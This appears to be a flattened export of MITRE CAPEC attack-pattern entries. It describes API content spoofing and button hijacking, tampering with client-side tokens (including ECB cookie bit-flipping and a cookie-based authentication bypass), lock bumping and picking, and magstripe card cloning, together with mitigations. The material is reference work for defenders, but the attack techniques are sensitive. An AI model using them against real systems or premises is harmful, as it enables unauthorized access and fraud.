+ 346 + + + + + 602 + + + + + 311 + + + + + + + + + + + + #indReferenceReference20763 + Reference_20763 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20765 + Content_History_20765 + + + + + + + + + + + + + + + + #indSubmissionSubmission20766 + Submission_20766 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20771 + Modification_20771 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification20777 + Modification_20777 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Resources_Required + + + + + + + + + + + + #CAPEC-387 + Navigation Remapping To Propagate Malicious Content + + + + + + + + + 387 + + + + + Navigation Remapping To Propagate Malicious Content + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Performing this attack allows the adversary to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, spam-like content, or links to the adversarys' code. In general, content-spoofing within an application API can be employed to stage many different types of attacks varied based on the adversarys' intent. When the goal is to spread malware, deceptive content is created such as modified links, buttons, or images, that entice users to click on those items, all of which point to a malicious URI. The techniques require use of specialized software that allow the adversary to use adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system in order to change the destination of various application interface elements.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20794 + Related_Attack_Pattern_20794 + + + + + + + + + + + + + + 386 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software is utilizing application framework APIs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software program that allows the use of adversary-in-the-middle communications between the client and server, such as a man-in-the-middle proxy.</xhtml:div> + + + + + 471 + + + + + 345 + + + + + 346 + + + + + 602 + + + + + 311 + + + + + + + + + + + + #indReferenceReference20810 + Reference_20810 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20812 + Content_History_20812 + + + + + + + + + + + + + + + + #indSubmissionSubmission20813 + Submission_20813 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20818 + Modification_20818 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification20824 + Modification_20824 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description, Resources_Required + + + + + + + + + + + + #indModificationModification20830 + Modification_20830 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-388 + Application API Button Hijacking + + + + + + + + + 388 + + + + + Application API Button Hijacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20843 + Related_Attack_Pattern_20843 + + + + + + + + + + + + + + 386 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software is utilizing application framework APIs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software program that allows the use of adversary-in-the-middle (CAPEC-94) communications between the client and server, such as a adversary-in-the-middle (CAPEC-94) proxy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An in-game event occurs and the attacker traps the result, which turns out to be a form that will be populated to their primary profile. The attacker, using a MITM proxy, observes the following data:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;[Button][Claim_Item]Sourdough_Cookie[URL_IMG]foo[/URL_IMG][Claim_Link]bar[/Claim_Link]&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;By altering the destination of "Claim_Link" to point to the attackers' server an unwitting victim can be enticed to click the link. Another example would be for the attacker to rewrite the button destinations for an event so that clicking "Yes" or "No" causes the user to load the attackers' code.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 471 + + + + + 345 + + + + + 346 + + + + + 602 + + + + + 311 + + + + + + + + + + + + #indReferenceReference20866 + Reference_20866 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20868 + Content_History_20868 + + + + + + + + + + + + + + + + #indSubmissionSubmission20869 + Submission_20869 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20874 + Modification_20874 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, Examples-Instances + + + + + + + + + + + + #indModificationModification20880 + Modification_20880 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification20886 + Modification_20886 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification20892 + Modification_20892 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-389 + Content Spoofing Via Application API Manipulation + + + + + + + + + 389 + + + + + Content Spoofing Via Application API Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, spam-like content, or links to the attackers' code. In general, content-spoofing within an application API can be employed to stage many different types of attacks varied based on the attackers' intent. The techniques require use of specialized software that allow the attacker to use adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20906 + Related_Attack_Pattern_20906 + + + + + + + + + + + + + + 384 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software is utilizing application framework APIs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software program that allows the use of adversary-in-the-middle communications between the client and server, such as an adversary-in-the-middle proxy.</xhtml:div> + + + + + 353 + + + + + + + + + + + + #indReferenceReference20918 + Reference_20918 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20920 + Content_History_20920 + + + + + + + + + + + + + + + + #indSubmissionSubmission20921 + Submission_20921 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20926 + Modification_20926 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification20932 + Modification_20932 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification20938 + Modification_20938 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description, Resources_Required + + + + + + + + + + + + #CAPEC-39 + Manipulating Opaque Client-based Data Tokens + + + + + + + + + 39 + + + + + Manipulating Opaque Client-based Data Tokens + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20953 + Related_Attack_Pattern_20953 + + + + + + + + + + + + + + 22 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep20958 + Attack_Step_20958 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Enumerate information passed to client side] The attacker identifies the parameters used as part of tokens to take business or security decisions</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use WebScarab to reveal hidden fields while browsing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a sniffer to capture packets</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">View source of web page to find hidden fields</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Examine URL to see if any opaque tokens are in it</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disassemble or decompile client-side application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use debugging tools such as File Monitor, Registry Monitor, Debuggers, etc.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20969 + Attack_Step_20969 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine protection mechanism for opaque token] The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens. They may be obfuscated or a full blown encryption may be used.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for signs of well-known character encodings</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for cryptographic signatures</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for delimiters or other indicators of structure</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20977 + Attack_Step_20977 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Modify parameter/token values] Trying each parameter in turn, the attacker modifies the values</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify tokens logically</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify tokens arithmetically</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify tokens bitwise</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify structural components of tokens</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modify order of parameters/tokens</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20987 + Attack_Step_20987 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cycle through values for each parameter.] Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the server</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use network-level packet injection tools such as netcat</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use modified client (modified by reverse engineering)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use debugging tools to modify data in client</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker already has some access to the system or can steal the client based data tokens from another user who has access to the system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For an Attacker to viably execute this attack, some data (later interpreted by the application) must be held client-side in a way that can be manipulated without detection. This means that the data or tokens are not CRCd as part of their value or through a separate meta-data store elsewhere.</xhtml:div> + + + + + + + + + + + + #indSkillSkill21002 + Skill_21002 + + + + + + + + + + + + + + If the client site token is obfuscated. + + + + + + + + + + + + #indSkillSkill21003 + Skill_21003 + + + + + + + + + + + + + + If the client site token is encrypted. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Attacker needs no special hardware-based resources in order to conduct this attack. Software plugins, such as Tamper Data for Firefox, may help in manipulating URL- or cookie-based data.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence21009 + Consequence_21009 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence21013 + Consequence_21013 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">One solution to this problem is to protect encrypted data with a CRC of some sort. If knowing who last manipulated the data is important, then using a cryptographic "message authentication code" (or hMAC) is prescribed. However, this guidance is not a panacea. In particular, any value created by (and therefore encrypted by) the client, which itself is a "malicious" value, all the protective cryptography in the world can't make the value 'correct' again. Put simply, if the client has control over the whole process of generating and encoding the value, then simply protecting its integrity doesn't help.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure to protect client side authentication tokens for confidentiality (encryption) and integrity (signed hash)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Make sure that all session tokens use a good source of randomness</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Perform validation on the server side to make sure that client side data tokens are consistent with what is expected.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, they proceed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. "u" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes "u" for "a" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct "flip" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1. See also: CVE-2006-0944</xhtml:div> + + + + + 353 + + + + + 285 + + + + + 302 + + + + + 472 + + + + + 565 + + + + + 315 + + + + + 539 + + + + + 384 + + + + + 233 + + + + + + + + + + + + #indContentHistoryContentHistory21042 + Content_History_21042 + + + + + + + + + + + + + + + + #indSubmissionSubmission21043 + Submission_21043 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21048 + Modification_21048 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21054 + Modification_21054 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification21060 + Modification_21060 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-390 + Bypassing Physical Security + + + + + + + + + 390 + + + + + Bypassing Physical Security + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Facilities often used layered models for physical security such as traditional locks, Electronic-based card entry systems, coupled with physical alarms. Hardware security mechanisms range from the use of computer case and cable locks as well as RFID tags for tracking computer assets. This layered approach makes it difficult for random physical security breaches to go unnoticed, but is less effective at stopping deliberate and carefully planned break-ins. Avoiding detection begins with evading building security and surveillance and methods for bypassing the electronic or physical locks which secure entry points.</xhtml:div> + + + + + + + + + + + + #indReferenceReference21071 + Reference_21071 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21073 + Content_History_21073 + + + + + + + + + + + + + + + + #indSubmissionSubmission21074 + Submission_21074 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-391 + Bypassing Physical Locks + + + + + + + + + 391 + + + + + Bypassing Physical Locks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses techniques and methods to bypass physical security measures of a building or facility. Physical locks may range from traditional lock and key mechanisms, cable locks used to secure laptops or servers, locks on server cases, or other such devices. Techniques such as lock bumping, lock forcing via snap guns, or lock picking can be employed to bypass those locks and gain access to the facilities or devices they protect, although stealth, evidence of tampering, and the integrity of the lock following an attack, are considerations that may determine the method employed. Physical locks are limited by the complexity of the locking mechanism. While some locks may offer protections such as shock resistant foam to prevent bumping or lock forcing methods, many commonly employed locks offer no such countermeasures.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21084 + Related_Attack_Pattern_21084 + + + + + + + + + + + + + + 390 + + + + + + + + + + + + #indReferenceReference21087 + Reference_21087 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21089 + Content_History_21089 + + + + + + + + + + + + + + + + #indSubmissionSubmission21090 + Submission_21090 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21095 + Modification_21095 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-392 + Lock Bumping + + + + + + + + + 392 + + + + + Lock Bumping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses a bump key to force a lock on a building or facility and gain entry. Lock Bumping is the use of a special type of key that can be tapped or bumped to cause the pins within the lock to fall into temporary alignment, allowing the lock to be opened. Lock bumping allows an attacker to open a lock without having the correct key. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A bump key is a specially constructed key that exploits this design. When the bump key is struck or firmly tapped, its teeth transfer the force of the tap into the key pins, causing the lock to momentarily shift into proper alignment for the mechanism to be opened.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21106 + Related_Attack_Pattern_21106 + + + + + + + + + + + + + + 391 + + + + + + + + + + + + #indReferenceReference21109 + Reference_21109 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21111 + Content_History_21111 + + + + + + + + + + + + + + + + #indSubmissionSubmission21112 + Submission_21112 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21117 + Modification_21117 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-393 + Lock Picking + + + + + + + + + 393 + + + + + Lock Picking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses lock picking tools and techniques to bypass the locks on a building or facility. Lock picking is the use of a special set of tools to manipulate the pins within a lock. Different sets of tools are required for each type of lock. Lock picking attacks have the advantage of being non-invasive in that if performed correctly the lock will not be damaged. A standard lock pin-and-tumbler lock is secured by a set of internal pins that prevent the tumbler device from turning. Spring loaded driver pins push down on the key pins preventing rotation so that the bolt remains in a locked position.. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. Most common locks, such as domestic locks in the US, can be picked using a standard 2 tools (i.e. a torsion wrench and a hook pick).</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21128 + Related_Attack_Pattern_21128 + + + + + + + + + + + + + + 391 + + + + + + + + + + + + #indReferenceReference21131 + Reference_21131 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21133 + Content_History_21133 + + + + + + + + + + + + + + + + #indSubmissionSubmission21134 + Submission_21134 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21139 + Modification_21139 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-394 + Using a Snap Gun Lock to Force a Lock + + + + + + + + + 394 + + + + + Using a Snap Gun Lock to Force a Lock + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses a Snap Gun, also known as a Pick Gun, to force the lock on a building or facility. A Pick Gun is a special type of lock picking instrument that works on similar principles as lock bumping. A snap gun is a hand-held device with an attached metal pick. The metal pick strikes the pins within the lock, transferring motion from the key pins to the driver pins and forcing the lock into momentary alignment. A standard lock is secured by a set of internal pins that prevent the device from turning. Spring loaded driver pins push down on the key pins. When the correct key is inserted, the ridges on the key push the key pins up and against the driver pins, causing correct alignment which allows the lock cylinder to rotate. A Snap Gun exploits this design by using a metal pin to strike all of the key pins at once, forcing the driver pins to shift into an unlocked position. Unlike bump keys or lock picks, a Snap Gun may damage the lock more easily, leaving evidence that the lock has been tampered with.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21151 + Related_Attack_Pattern_21151 + + + + + + + + + + + + + + 391 + + + + + + + + + + + + #indReferenceReference21154 + Reference_21154 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21156 + Content_History_21156 + + + + + + + + + + + + + + + + #indSubmissionSubmission21157 + Submission_21157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21162 + Modification_21162 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #CAPEC-395 + Bypassing Electronic Locks and Access Controls + + + + + + + + + 395 + + + + + Bypassing Electronic Locks and Access Controls + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits security assumptions to bypass electronic locks or other forms of access controls. Most attacks against electronic access controls follow similar methods but utilize different tools. Some electronic locks utilize magnetic strip cards, others employ RFID tags embedded within a card or badge, or may involve more sophisticated protections such as voice-print, thumb-print, or retinal biometrics. Magnetic Strip and RFID technologies are the most widespread because they are cost effective to deploy and more easily integrated with other electronic security measures. These technologies share common weaknesses that an attacker can exploit to gain access to a facility protected by the mechanisms via copying legitimate cards or badges, or generating new cards using reverse-engineered algorithms.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21175 + Related_Attack_Pattern_21175 + + + + + + + + + + + + + + 390 + + + + + + + + + + + + #indReferenceReference21178 + Reference_21178 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21180 + Content_History_21180 + + + + + + + + + + + + + + + + #indSubmissionSubmission21181 + Submission_21181 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-396 + DEPRECATED: Bypassing Card or Badge-Based Systems + + + + + + + + + 396 + + + + + DEPRECATED: Bypassing Card or Badge-Based Systems + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it a generalization of CAPEC-397: Cloning Magnetic Strip Cards, CAPEC-398: Magnetic Strip Card Brute Force Attacks, CAPEC-399: Cloning RFID Cards or Chips and CAPEC-400: RFID Chip Deactivation or Destruction. Please refer to these CAPECs going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory21192 + Content_History_21192 + + + + + + + + + + + + + + + + #indSubmissionSubmission21193 + Submission_21193 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21198 + Modification_21198 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Name, @Status, Description, References, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName21204 + Previous_Entry_Name_21204 + + + + + + + + + 2019-09-30 + + + + + Bypassing Card or Badge-Based Systems + + + + + + + + + + + + #CAPEC-397 + Cloning Magnetic Strip Cards + + + + + + + + + 397 + + + + + Cloning Magnetic Strip Cards + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker duplicates the data on a Magnetic strip card (i.e. 'swipe card' or 'magstripe') to gain unauthorized access to a physical location or a person's private information. Magstripe cards encode data on a band of iron-based magnetic particles arrayed in a stripe along a rectangular card. Most magstripe card data formats conform to ISO standards 7810, 7811, 7813, 8583, and 4909. The primary advantage of magstripe technology is ease of encoding and portability, but this also renders magnetic strip cards susceptible to unauthorized duplication. If magstripe cards are used for access control, all an attacker need do is obtain a valid card long enough to make a copy of the card and then return the card to its location (i.e. a co-worker's desk). Magstripe reader/writers are widely available as well as software for analyzing data encoded on the cards. By swiping a valid card, it becomes trivial to make any number of duplicates that function as the original.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern21211 + Related_Attack_Pattern_21211 + + + + + + + + + + + + + + 395 + + + + + + + + + + + + #indReferenceReference21214 + Reference_21214 + + + + + + + + + REF-33 + + + + + Chapter 9: Hacking Hardware + + + + + + + + + + + + #indContentHistoryContentHistory21216 + Content_History_21216 + + + + + + + + + + + + + + + + #indSubmissionSubmission21217 + Submission_21217 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification21222 + Modification_21222 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-398 + Magnetic Strip Card Brute Force Attacks + + + + + + + + + 398 + + + + + Magnetic Strip Card Brute Force Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary analyzes the data on two or more magnetic strip cards and is able to generate new cards containing valid sequences that allow unauthorized access and/or impersonation of individuals.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Often, magnetic strip encoding methods follow a common format for a given system laid out in up to three tracks. A single card may allow access to a corporate office complex shared by multiple companies. By analyzing how the data is stored on a card, it is also possible to create valid cards via brute-force attacks.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For example, a single card can grant access to a building, a floor, and a suite number. Reading and analyzing data on multiple cards, then performing a difference analysis between data encoded on three different cards, can reveal clues as to how to generate valid cards that grant access to restricted areas of a building or suites/rooms within that building. Data stored on magstripe cards is often unencrypted, therefore comparing which data changes when two or more cards are analyzed can yield results that aid in determining the structure of the card data. A trivial example would be a common system data format on a data track which binary encodes the suite number of a building that a card will open. By creating multiple cards with differing binary encoded segments it becomes possible to enter unauthorized areas or pass through checkpoints giving the 